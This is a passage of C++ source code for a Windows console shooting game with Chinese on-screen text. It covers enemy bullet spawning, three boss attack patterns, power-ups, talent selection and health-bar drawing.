B[i].vy=0,B[i].How=1; if(B[i].t==30) B[i].y+=1.5,B[i].How=2; if(B[i].t==35) B[i].vy=1.5,B[i].How=3; } if(B[i].what==2) { if(B[i].t%3==0) B[i].How=!B[i].How; } if(B[i].what==3||B[i].what==5) { if(B[i].what==3&&B[i].y<=20) B[i].vy=0; if(B[i].what==5&&B[i].y<=21) B[i].vy=0; if(B[i].t>30&&B[i].t%2==0) B[i].How=!B[i].How; if(B[i].what==5&&B[i].t<=30&&B[i].x<X) B[i].vx=-0.2; else if(B[i].what==5&&B[i].t<=70&&B[i].x>X) B[i].vx=0.2; else B[i].vx=0; if(B[i].t==45) { B[i].life=0; br++; B[br].what=4; B[br].x=B[i].x; B[br].y=32; B[br].vy=3; B[br].life=1; } } if(B[i].what==6||B[i].what==8||B[i].what==9) { if(B[i].vx<0.25&&B[i].vy<0.25&&B[i].t>=50) { B[i].life=0; if(B[i].life==0&&i==bl) bl++; Map(1,i); break; } if(B[i].t%5==0) B[i].How=rand()%4; if(B[i].what==9) { if(B[i].t==7) { X9: float xx=(rand()%41)/40.0,yy=(rand()%41)/40.0; if(xx<=0.5&&yy<=0.5) goto X9; for(int j=1; j<=4; j++) { br++,B[br].what=9; B[br].t=11; B[br].x=B[i].x,B[br].y=B[i].y,B[br].vx=xx,B[br].vy=yy; if(j%2==0)swap(B[br].vx,B[br].vy),B[br].vy*=-1; if(j<=2)B[br].vx*=-1,B[br].vy*=-1; B[br].life=1; } B[i].life=0; } } if(B[i].what==8) { if(B[i].x>X&&B[i].vx<1.2) B[i].vx+=fmax((float)0,0.2-B[i].t/25); if(B[i].x<X&&B[i].vx>-1.2) B[i].vx-=fmax((float)0,0.2-B[i].t/25); if(B[i].y>Y&&B[i].vy<1.2) B[i].vy+=fmax((float)0,0.2-B[i].t/25); if(B[i].y<Y&&B[i].vy>-1.2) B[i].vy-=fmax((float)0,0.2-B[i].t/25); } } if(B[i].what>=13&&B[i].what<=15&&B[i].How!=0) { if(B[i].x==B[i].How)B[i].vx=0,B[i].How=0; } if(B[i].what==16) { if(B[i].x<X&&B[i].vx>=-1) B[i].vx-=0.2; else if(B[i].x>X&&B[i].vx<=1) B[i].vx+=0.2; } } if(B[i].life==1&&B[i].a==0&&B[i].what>0) { if(B[i].y>Y&&abs(B[i].x-X)<=3&&((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis) Dis=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb=i; else if(((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis1) Dis1=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb1=i; } } } void Guai(int R,int r) { if(R==-1) { br++; B[br].what=-1; B[br].x=X+rand()%3-1; B[br].y=Y+rand()%3-1; B[br].life=1; } if(R<=-2&&R>=-11) { br++; B[br].what=R; B[br].x=B[br].a=r; B[br].y=29; if(R<=-3&&R>=-7)B[br].vx=-1; B[br].vy=1; B[br].life=1; } if(R==0) { br++; B[br].what=1; B[br].x=r; B[br].y=29; B[br].vy=1; B[br].life=1; } if(R==1) { br++; B[br].what=2; B[br].x=r; B[br].y=29; B[br].vy=1; B[br].life=1; } if(R==2||R==3) { br++; B[br].what=2*R-1; B[br].x=r; B[br].y=29; B[br].vy=1; B[br].life=1; } if(R==4) { br++; B[br].what=6; if(r<5)r=5; if(r>30)r=30; B[br].x=r; if(r==11||r==25) B[br].y=29-(rand()%20); else B[br].y=29; X4: B[br].vx=(rand()%21-10)/30.0; B[br].vy=(rand()%25)/30.0; if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X4; int rx=rand()%50; if(rx==0) B[br].vx=0; B[br].life=1; } if(R==5) { br++; B[br].How=r; B[br].what=7; if(B[br].How<0) B[br].x=19; if(B[br].How>0) B[br].x=21; B[br].y=29; B[br].vy=1; B[br].life=1; } } void CpGuai(int R,float x,float y,float xx,float yy) { if(R==4) { br++; B[br].what=6; B[br].x=x; B[br].y=y; B[br].vx=xx; B[br].vy=yy; B[br].life=1; } if(R==6||R==7||R==8) { br++; B[br].what=4+R; B[br].x=x; B[br].y=y; B[br].vx=xx; B[br].vy=yy; B[br].life=1; } } void MesGuai(int a,int rr) { int R=rand()%rr,r=-10086; if(R==0) { if(a==1) r=(5+rand()%8)*2; if(a<=3&&a!=1) r=10+rand()%16; if(a==4) r=rand()%75-20; if(a==5) r=2+rand()%4; if(r!=-10086) Guai(a,r); } } void NorGuai(int a,int b) { if(a==1) { if(b==1||b==41) Guai(0,15),Guai(0,17),Guai(0,19); if(b==21||b==61) Guai(0,21),Guai(0,23),Guai(0,25); if(b==81) Guai(0,11),Guai(0,13),Guai(0,15),Guai(0,17),Guai(0,19); if(b==101||b==141) Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23),Guai(0,25); if(b==121) Guai(0,15),Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23); if(b>=160&&b<=260&&b%10==0) Guai(0,b/10-1); if(b>=270&&b<=370&&b%10==0) Guai(0,52-b/10); if(b>=460&&b<=560&&b%10==0) Guai(0,b/10-37),Guai(0,b/10-36),Guai(0,b/10-35); if(b>=570&&b<=670&&b%10==0) Guai(0,78-b/10),Guai(0,77-b/10),Guai(0,76-b/10); if(b>=760&&b<=960&&b%10==0) Guai(0,b/10-66),Guai(0,b/10-65),Guai(0,103-b/10),Guai(0,104-b/10); if(b>=1000&&b<=1300) MesGuai(0,30-b/50); } if(a==2) { if(b<=200&&b%30==1) { int r=rand()%4; if(r==1) r=0; for(int i=0; i<4; i++) if(i!=r) Guai(1,i*4+9); } if(b>200&&b<=220&&b%5==1) Guai(1,18); if(b>220&&b<=300&&b%7==1) Guai(1,b/5-26); if(b>350&&b<=370&&b%5==1) Guai(1,22); if(b>370&&b<=450&&b%7==1) Guai(1,96-b/5); if(b==461||b==501||b==541) Guai(1,13),Guai(1,17),Guai(1,21); if(b==481||b==521||b==561) Guai(1,17),Guai(1,21),Guai(1,25); if(b>=561&&b<=861&&b%20==1) Guai(1,b/40+5); if(b>=561&&b<=861&&b%20==11) Guai(1,35-b/40); if(b>=801&&b<=961&&b%15==1) Guai(1,20); if(b>=1000&&b<=1300) MesGuai(1,30-b/50); } if(a==3) { if(b==1||b==61) Guai(3,15),Guai(2,17),Guai(2,19); if(b==31||b==91) Guai(2,21),Guai(2,23),Guai(3,25); if(b>=120&&b<=220&&b%10==0) Guai(2,b/10+3); if(b>=240&&b<=340&&b%10==0) Guai(2,49-b/10); if(b>=360&&b<=460&&b%20==0) Guai(2,b/10-21),Guai(2,61-b/10); if(b>=480&&b<=580&&b%20==0) Guai(3,b/10-33),Guai(3,73-b/10); if(b>=600&&b<750&&b%30==0) { for(int i=0; i<5; i++) Guai(3,i*3+10); } if(b>=750&&b<830&&b%10==0) if(b<=200&&b%40==1) Guai(2,X); if(b>=830&&b<910&&b%20==0) Guai(2,X); if(b>=910&&b<980&&b%10==0) Guai(2,X); if(b>=1000&&b<=1300) MesGuai(rand()%2+2,40-b/50); } if(a==4) { if(b==1) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.65); if(b==41) CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65); if(b==81) CpGuai(4,5,20,-0.4,0.35),CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,30,20,0.25,0.4),CpGuai(4,21,29,0,0.65); if(b==121) CpGuai(4,5,20,-0.2,0.35),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,30,20,0.4,0.4),CpGuai(4,18,29,0,0.65); if(b==161) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.6),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65); if(b>=200&&b<=500&&b%40==1) { float r=0,rr; for(int i=1; i<=5; i++) { X5: rr=0.7+(rand()%5)/10.0; if(rr==r)goto X5; r=rr; CpGuai(4,i*3+7,29,0,0.5+(rand()%50)/80.0); } } if(b>540&&b<=565&&b%5==1) CpGuai(4,5,8,-2,0.2); if(b>590&&b<=615&&b%5==1) CpGuai(4,30,8,1.5,0.2); if(b>640&&b<=665&&b%5==1) CpGuai(4,5,8,-1.5,0.3); if(b>690&&b<=715&&b%5==1) CpGuai(4,30,8,2,0.3); if(b>=750&&b<=950&&b%20==1) { float r=0,rr; for(int i=1; i<=3; i++) { X6: rr=0.7+(rand()%5)/10.0; if(rr==r)goto X6; r=rr; CpGuai(4,i*5+7+(rand()%3),29,0,0.5+(rand()%50)/200.0); } } if(b>=1000&&b<=1300) MesGuai(4,5); } } void RandGood() { if(Biao>0) { Biao--; Guai(-1,0); } if(Gd[1]==0) { Gd[1]=rand()%1000+1; if(Win==7)Gd[1]=10086; Gd[3]=rand()%16+8; } else if(Gd[1]<=5) { Guai(-2-Gd[1],Gd[3]); memset(Gd,0,sizeof(Gd)); } else if(Gd[1]>=20&&Gd[1]<27) { Guai(-8,Gd[3]); memset(Gd,0,sizeof(Gd)); } else if(Gd[1]>=30&&Gd[1]<37) { Guai(-9,Gd[3]); memset(Gd,0,sizeof(Gd)); } else if(Gd[1]>=40&&Gd[1]<70) { Gd[2]++; if(Gd[2]%2==1)Guai(-10,Gd[3]); if(Gd[2]>=9)memset(Gd,0,sizeof(Gd)); } else if(Gd[1]>=70&&Gd[1]<100) { Gd[2]++; if(Gd[2]%2==1)Guai(-11,Gd[3]); if(Gd[2]>=9)memset(Gd,0,sizeof(Gd)); } else if(Boss!=0&&Gd[1]>=450&&Gd[1]<=500) { Guai(-2,Gd[3]); memset(Gd,0,sizeof(Gd)); } else Gd[1]=0; for(int i=0; i<20; i++) { if(I[i][0]==-1) continue; Setpos(I[i][0],I[i][1]); Color(0); if(I[i][0]==20) cout<<"==="; else cout<<" "; I[i][1]++; if(I[i][0]>=28||I[i][0]<=0||I[i][1]>=29) I[i][0]=I[i][1]=-1; else Color(1),Setpos(I[i][0],I[i][1]),cout<<"■"; Color(0); } } void Panboss(int bx,int by) { float Nox[4],Noy[4]; Nox[0]=X,Noy[0]=Y; if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5; else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10; else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10; else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5; for(int i=0; i<3; i++) { if((Boss==1||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo1[4]==0) Blo-=20,Bgo1[4]=1,Killb=20,Kill=1; if((Boss==2||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo2[8]==0) Blo-=20,Bgo2[8]=1,Killb=20,Kill=1; } } void Boss1() { for(int j=0; j<20; j++)if(abs(Bx1-I[j][0])<2&&By1-I[j][1]<=2) { Setpos(I[j][0],I[j][1]); if(I[j][0]==20) cout<<"==="; else cout<<" "; I[j][0]=I[j][1]=-1; Bblo-=8+Lv*2; Exp+=2; } if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0; for(int i=1; i<=3+(Bbl-Bbr)/5; i++)if(Bbr<Bbl) { Setpos(Bway[Bbr][0],Bway[Bbr][1]); if(Bway[Bbr][0]==20) cout<<"=="; else cout<<" "; Bbr++; } if(Bwhat1==5) { int bx,by; Color(5); for(int i=0; i<10; i++) { bx=Bx1-i*Bvx1/10.0; by=By1-i*Bvy1/10.0; Setpos(bx,by),cout<<"█"; Bbl++; Bway[Bbl][0]=bx; Bway[Bbl][1]=by; } Color(0); } Bx1-=Bvx1; By1-=Bvy1; if(Bwhat1==0) { X2: Bwhat1=rand()%7; if(Bwhat1==2||Bwhat1==3) { if(By1<=10||By1>25) goto X2; } if(Bwhat1==4) { if(By1<=15||Bx1<20) goto X2; Bgo1[2]=Bx1; Bgo1[3]=By1-1; } if(Bwhat1==5) { X0: Bgo1[3]=rand()%4+1; Bvx1=(rand()%101)/20.0; Bvy1=(rand()%101)/20.0; if(Bgo1[3]<=2) Bvx1*=-1; if(Bgo1[3]%2==1) Bvy1*=-1; if(abs(Bvx1)+abs(Bvy1)<=3||Out1)goto X0; } if(Bwhat1==6) { if(By1<=17||By1>25) goto X2; } } if(Bwhat1==1) { Bgo1[1]++,Bgo1[2]++; int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]); if(Out1) R=0; if(R==0) { int vx=Bvx1,vy=Bvy1; Bgo1[1]=0; Bvx1=(rand()%101-20)/50.0; Bvy1=(rand()%101-20)/50.0; if(Bgo1[3]<=2) Bvx1*=-1; if(Bgo1[3]%2==1) Bvy1*=-1; if(Out1) r=0; } if(r==0) Chang1 } if(Bwhat1==2) { Bgo1[1]++; if(Bgo1[1]>6) { Bvy1=-0.3; br++; B[br].x=Bx1,B[br].y=By1-1; B[br].what=6; X3: B[br].vx=(rand()%21-10)/40.0; B[br].vy=(rand()%25)/30.0; if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X3; int rx=rand()%50; if(rx==0) B[br].vx=0; B[br].life=1; } if(Bgo1[1]>8) Chang1 } if(Bwhat1==3) { Bgo1[1]++; if(Bgo1[1]>6&&Bgo1[1]%3==0) { Bvy1=-0.3; br++; B[br].x=Bx1,B[br].y=By1-1; B[br].what=8; B[br].life=1; } if(Bgo1[1]>15) Chang1 } if(Bwhat1==4) { Bgo1[1]++; if(Bgo1[1]<=8) { Setpos(Bgo1[2],Bgo1[3]); if(Bgo1[1]==1)cout<<" "; else if(Bgo1[1]>1&&Bgo1[2]==20) cout<<"=="; else cout<<" "; Bgo1[2]--; Setpos(Bgo1[2],Bgo1[3]); int r=rand()%4; if(r%2==0) Color(6); else Color(9); if(r<2) cout<<") "; else cout<<"】"; Color(0); } if(Bgo1[1]==6) Bgo1[5]=X,Bgo1[6]=Y; if(Bgo1[1]==11) { Map(0,(bool)Kill); Setpos(Bgo1[5],Bgo1[6]+1),cout<<" "; Setpos(Bgo1[5],Bgo1[6]-1),cout<<" "; Setpos(Bgo1[5]+1,Bgo1[6]),cout<<" "; Setpos(Bgo1[5]-1,Bgo1[6]),cout<<" "; int bx,by,bvx=Bgo1[2]-Bgo1[5],bvy=Bgo1[3]-Bgo1[6]; Color(6); int i=0; while(1) { bx=Bgo1[2]-i*bvx/30.0; by=Bgo1[3]-i*bvy/30.0; if(bx<=5||bx>=30||by<0||by>=29) break; Panboss(bx,by); Setpos(bx,by),cout<<"█"; Bbl++; Bway[Bbl][0]=bx; Bway[Bbl][1]=by; i++; } Color(0); Map(-1,0); Chang1 } } if(Bwhat1==5) { Bgo1[1]++,Bgo1[2]++; int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]); if(Out1) R=0; if(R==0) { int vx=Bvx1,vy=Bvy1; Bgo1[1]=0; X1: Bvx1=(rand()%101-20)/20.0; Bvy1=(rand()%101-20)/20.0; if(Bgo1[3]<=2) Bvx1*=-1; if(Bgo1[3]%2==1) Bvy1*=-1; if(abs(Bvx1)+abs(Bvy1)<=3||abs(Bvx1-vx)<=1||abs(Bvy1-vy)<=1)goto X1; if(Out1) r=0; } if(r==0) Chang1 } if(Bwhat1==6) { Bgo1[1]++; if(Bgo1[1]>6&&Bgo1[1]%10==0) { By1-=1; br++; B[br].x=Bx1,B[br].y=By1-1; B[br].what=9; X30: B[br].vy=1; B[br].life=1; } if(Bgo1[1]>31) Chang1 } } void Boss2() { for(int j=0; j<20; j++)if(abs(Bx2-I[j][0])<2&&By2-I[j][1]<=2) { Setpos(I[j][0],I[j][1]); if(I[j][0]==20) cout<<"==="; else cout<<" "; I[j][0]=I[j][1]=-1; Bblo-=8+Lv*2; Exp+=2; } if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0; for(int i=1; i<=3+(Bbl-Bbr)/5; i++)if(Bbr<Bbl) { Setpos(Bway[Bbr][0],Bway[Bbr][1]); if(Bway[Bbr][0]==20) cout<<"=="; else cout<<" "; Bbr++; } Bx2-=Bvx2; By2-=Bvy2; if(Bwhat2==0) { X21: Bwhat2=rand()%7; if(Bwhat2==2) { X31: for(int i=1; i<=3; i++) { Bgo2[i*2+1]=rand()%28+1,Bgo2[i*2]=rand()%25+5; if((abs(Bgo2[i*2]-Bx2)<=2&&abs(Bgo2[i*2+1]-By2)<=2)||(abs(Bgo2[i*2]-X)<=2&&abs(Bgo2[i*2+1]-Y)<=2))goto X31; } if(Bgo2[2]==Bgo2[4]||Bgo2[2]==Bgo2[6]||Bgo2[6]==Bgo2[4]||Bgo2[5]==Bgo2[3]||Bgo2[3]==Bgo2[7]||Bgo2[5]==Bgo2[7]) goto X31; } if(Bwhat2==3) { Bgo2[2]=rand()%2; } if(Bwhat2==4||Bwhat2==5||Bwhat2==6) { Bvy2=-1.5; Bvx2=-0.5; } } if(Bwhat2==1) { Bgo2[1]++,Bgo2[2]++; int R=rand()%(5-Bgo2[1]),r=rand()%(30-Bgo2[2]); if(Out2) R=0; if(R==0) { int vx=Bvx2,vy=Bvy2; Bgo2[1]=0; Bvx2=(rand()%101-20)/50.0; Bvy2=(rand()%101-20)/50.0; if(Bgo2[3]<=2) Bvx2*=-1; if(Bgo2[3]%2==1) Bvy2*=-1; if(Out2) r=0; } if(r==0) Chang2 } if(Bwhat2==2) { Bgo2[1]++; float bx,by,bvx,bvy; if(Bgo2[1]<21) { for(int i=1; i<=3; i++) { bvx=Bgo2[i*2]-Bx2,bvy=Bgo2[i*2+1]-By2; if(Bgo2[1]<=10) { Setpos(Bx2+(Bgo2[1]-1)*bvx/10.0,By2+(Bgo2[1]-1)*bvy/10.0); if(abs(Bx2+(Bgo2[1]-1)*bvx/10.0-20)<0.5)cout<<"=="; else cout<<" "; bx=Bx2+Bgo2[1]*bvx/10.0; by=By2+Bgo2[1]*bvy/10.0; Setpos(bx,by); } else Setpos(Bgo2[i*2],Bgo2[i*2+1]); int r=rand()%4; if(r%2==0) Color(3); else Color(10); if(r<=1) cout<<"×"; else cout<<"+"; Color(0); } } if(Bgo2[1]==21) { Map(0,(bool)Kill); Color(3); int j=0; for(int j=0; j<=30; j++)for(int i=1; i<=3; i++)for(int k=1; k<=4; k++) { if(k==1) bvx=j,bvy=0; if(k==2) bvx=-j,bvy=0; if(k==3) bvx=0,bvy=j; if(k==4) bvx=0,bvy=-j; bx=Bgo2[i*2]+bvx,by=Bgo2[i*2+1]+bvy; if(bx<=5||bx>=30||by<0||by>=30) { continue; } Panboss(bx,by); Setpos(bx,by),cout<<"█"; Bbl++; Bway[Bbl][0]=bx; Bway[Bbl][1]=by; } Color(0); Map(-1,0); Chang2 } } if(Bwhat2==3) { Bgo2[1]++; if(Bgo2[1]<=18) { if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<" ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<" ",Color(0),Setpos(20,Bgo2[5]),cout<<"=="; if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<" ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"===="; if(Bgo2[1]%4==0)Bgo2[3]=!Bgo2[3]; if(Bgo2[1]%6<3)Color(3); else Color(5); if(Bgo2[3]==0) Setpos(X-3,Y),cout<<"▼",Setpos(X+3,Y),cout<<"▲",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5); if(Bgo2[3]==1) Setpos(X,Y-3),cout<<" ",Setpos(X,Y+3),cout<<" ",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5); Color(0); } if(Bgo2[1]==18) { if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<" ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<" ",Color(0),Setpos(20,Bgo2[5]),cout<<"=="; if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<" ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"===="; } if(Bgo2[1]>18&&Bgo2[1]<=25) { Bgo2[3]=Bgo2[2]; if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<" ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<" ",Color(0),Setpos(20,Bgo2[5]),cout<<"=="; if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<" ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"===="; if(Bgo2[1]%4<2)Color(3); else Color(5); if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"▼",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"▲"; if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+3),cout<<" "; Color(0); } if(Bgo2[1]==25) { if(Bgo2[2]==0) { Color(3); for(int i=4; i<=29; i++) { Setpos(i,Bgo2[5]),cout<<"█"; Bbl++; Panboss(i,Bgo2[5]); Bway[Bbl][0]=i; Bway[Bbl][1]=Bgo2[5]; } } if(Bgo2[2]==1) { Color(3); for(int i=0; i<=28; i++) { Setpos(Bgo2[4],i),cout<<"█"; Bbl++; Panboss(Bgo2[4],i); Bway[Bbl][0]=Bgo2[4]; Bway[Bbl][1]=i; } } Chang2 } } if(Bwhat2==4||Bwhat2==5||Bwhat2==6) { Bgo2[1]++; if(By2>27)Bvy2=0; if(Bx2>23)Bvx2=0; if(Bgo2[1]>13&&Bgo2[1]%3==0) { float t=By2-Y,g=0.35; if(Boss==6) t/=2.0; CpGuai(Bwhat2+2,Bx2,By2,(Bx2-X)/t*1.0+(t-1)*g/2.0,1); } if(Bgo2[1]>20) Chang2 } } void Boss3() { #define Bean br++;B[br].what=13;B[br].x=Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1; for(int j=0; j<20; j++)if(abs(Bx3-I[j][0])<2&&By3-I[j][1]<=2) { Setpos(I[j][0],I[j][1]); if(I[j][0]==20) cout<<"==="; else cout<<" "; I[j][0]=I[j][1]=-1; Bblo-=8+Lv*2; Exp+=2; } Bx3-=Bvx3; By3-=Bvy3; if(Bwhat3<=8) { if(Bx3>X&&Bvx3<1.5) Bvx3+=0.3; if(Bx3<X&&Bvx3>-1.5) Bvx3-=0.3; } if(Bwhat3==0) { X22: Bwhat3=rand()%12; if(Bwhat3==11&&abs(Bx3-20)<=1)goto X22; if(Bwhat3==11)Bgo3[2]=rand()%5; } if(Bwhat3==1) { Bgo3[1]++; if(Bgo3[1]==6) { br++; B[br].what=13; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=1; B[br].How=(int)Bx3-4; B[br].life=1; br++; B[br].what=13; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=-1; B[br].How=(int)Bx3+2; B[br].life=1; br++; B[br].what=13; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].life=1; Chang3 } } if(Bwhat3>=2&&Bwhat3<=6) { Bgo3[1]++; if(Bgo3[1]==6) { br++; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].what=11+Bwhat3; B[br].vy=0.5+(rand()%100)/80.0; if(Bwhat3==5)B[br].vy=B[br].vy*3/4.0; B[br].life=1; Chang3 } } if(Bwhat3==7) { Bgo3[1]++; if(Bgo3[1]==6) { br++; B[br].what=14; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=1; B[br].How=(int)Bx3-4; B[br].life=1; br++; B[br].what=14; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=-1; B[br].How=(int)Bx3+2; B[br].life=1; br++; B[br].what=14; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].life=1; Chang3 } } if(Bwhat3==8) { Bgo3[1]++; if(Bgo3[1]==6) { br++; B[br].what=15; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=1; B[br].How=(int)Bx3-4; B[br].life=1; br++; B[br].what=15; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].vx=-1; B[br].How=(int)Bx3+2; B[br].life=1; br++; B[br].what=15; B[br].x=(int)Bx3-1,B[br].y=By3-1; B[br].vy=1; B[br].life=1; Chang3 } } if(Bwhat3==9) { Bvx3=0; Bgo3[1]++; if(Bgo3[1]==6||Bgo3[1]==8) { Bean } if(Bgo3[1]>=8)Chang3 } if(Bwhat3==10) { Bvx3=0; Bgo3[1]++; if(Bgo3[1]==6||Bgo3[1]==8||Bgo3[1]==10||Bgo3[1]==12) { Bean } if(Bgo3[1]>=12)Chang3 } if(Bwhat3==11) { Bvx3=0; Bgo3[1]++; if(Bgo3[1]>=8)for(int i=1; i<=4; i++) { br++; B[br].what=80+100*Bgo3[2]+Bgo3[1]*4+i; B[br].x=Bx3-1,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=99; B[br].x=Bx3,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=99; B[br].x=Bx3-2,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; } if(Bgo3[1]>=20) { for(int i=1; i<=4; i++) { br++; B[br].what=98; B[br].x=Bx3-1,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=98; B[br].x=Bx3,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; br++; B[br].what=98; B[br].x=Bx3-2,B[br].y=By3-1+i; B[br].vy=4; B[br].life=1; } Chang3 } } } void Ball(int ball) { if(ball==1) { int f=0; for(int i=1; i<=3; i++) { if(fir[i]==1) fir[i]--,Fir++; else if(fir[i]>1) fir[i]--; else f=i; } if(Fir>0&&f!=0) { br++; B[br].what=-13; B[br].x=X; B[br].y=Y+rand()%3-1; B[br].life=1; if(Dis<=30) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--; else if(Boss!=0) B[br].a=13880086,fir[f]=20,Fir--; else if(Dis!=13880087) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--; else if(Dis1!=13880087) B[br].a=Disb1,B[Disb1].a=1,fir[f]=20,Fir--; else B[br].life=0; Dis=Dis1=13880087; } } if(ball==2) { if(T%4==0)ib=(ib+1)%20,I[ib][1]=Y-2; if(T%16==0)I[ib][0]=X; if(T%16==4)I[ib][0]=X-1; if(T%16==8)I[ib][0]=X+1; if(T%16==12)I[ib][0]=X-2; if(T%12==9)I[ib][0]=X+2; if(Water==1) { for(int i=X-6; i<=X+6; i++)ib=(ib+1)%20,I[ib][0]=i,I[ib][1]=Y-2-0.5*abs(i-X); } } if(ball==3) { if(Wind>5) { if(Y<Ding-1)Vy=5; else Vy=0; if(Up>=1) Vx=-5; if(Down==2) Vx=5; } if(Wind<5) { if(Y>Ding-1)Vy=-5; else Vy=0; if(Up>=1) Vx=-5; if(Down==2) Vx=5; } if(Wind==5) { if(Boss==2) Ding=12.25; else Ding=6.25; if(Boss!=0) Bblo-=16+Lv*4; if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 3F"); Sleep(20); system("color 6F"); Sleep(10); system("color 0F"); system("cls"); for(int i=bl; i<=br; i++)if(B[i].what>0)B[i].life=0; Setpos(20,0); for(int i=1; i<=60; i++) printf("="); } } if(ball==4) { if(Thun==1) { if(Boss!=0) Bblo-=16+Lv*4; if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 9F"); Sleep(20); system("color 6F"); Sleep(10); system("color 0F"); system("cls"); for(int i=bl; i<=br; i++)if(B[i].what>0)B[i].life=0; Setpos(20,0); for(int i=1; i<=60; i++) printf("="); } } if(ball==5) { system("cls"); Color(5); Setpos(10,10); cout<<"新天赋!"; Y: int rr=rand()%4+2; Setpos(12,10); if(rr==Ren) goto Y; if(rr==2)cout<<"瞬跳"; if(rr==3)cout<<"空之舞"; if(rr==4)cout<<"三段跳"; if(rr==5)cout<<"反重力跳跃"; Setpos(14,10); cout<<"当前天赋:"; if(Ren==1)cout<<"小无敌"; if(Ren==2)cout<<"瞬跳"; if(Ren==3)cout<<"空之舞"; if(Ren==4)cout<<"三段跳"; if(Ren==5)cout<<"反重力跳跃"; Setpos(16,10); cout<<"换否?(y/n)"; G: char g=_getch(); if(g=='y')Ren=rr; else if(g!='n')goto G; system("cls"); Setpos(20,0); Color(0); for(int i=1; i<=60; i++) printf("="); } if(ball==6) { Color(4); for(float i=1; i<=Bblo; i+=Bblomax/20.0)cout<<"▄"; Color(0); cout<<' '<<Bblo<<" "; Color(0); } if(ball==7) { Color(1); if(Win==7&&T%6<3)Color(3); for(float i=1; i<=Blo; i+=Blomax/20.0)cout<<"▄"; Color(0); if(Win==7&&T%6<3)Color(3); printf(" %0.1f ",Blo); } } int main() { system("mode con cols=60 lines=37"); CONSOLE_CURSOR_INFO cursor_info= {1,0}; 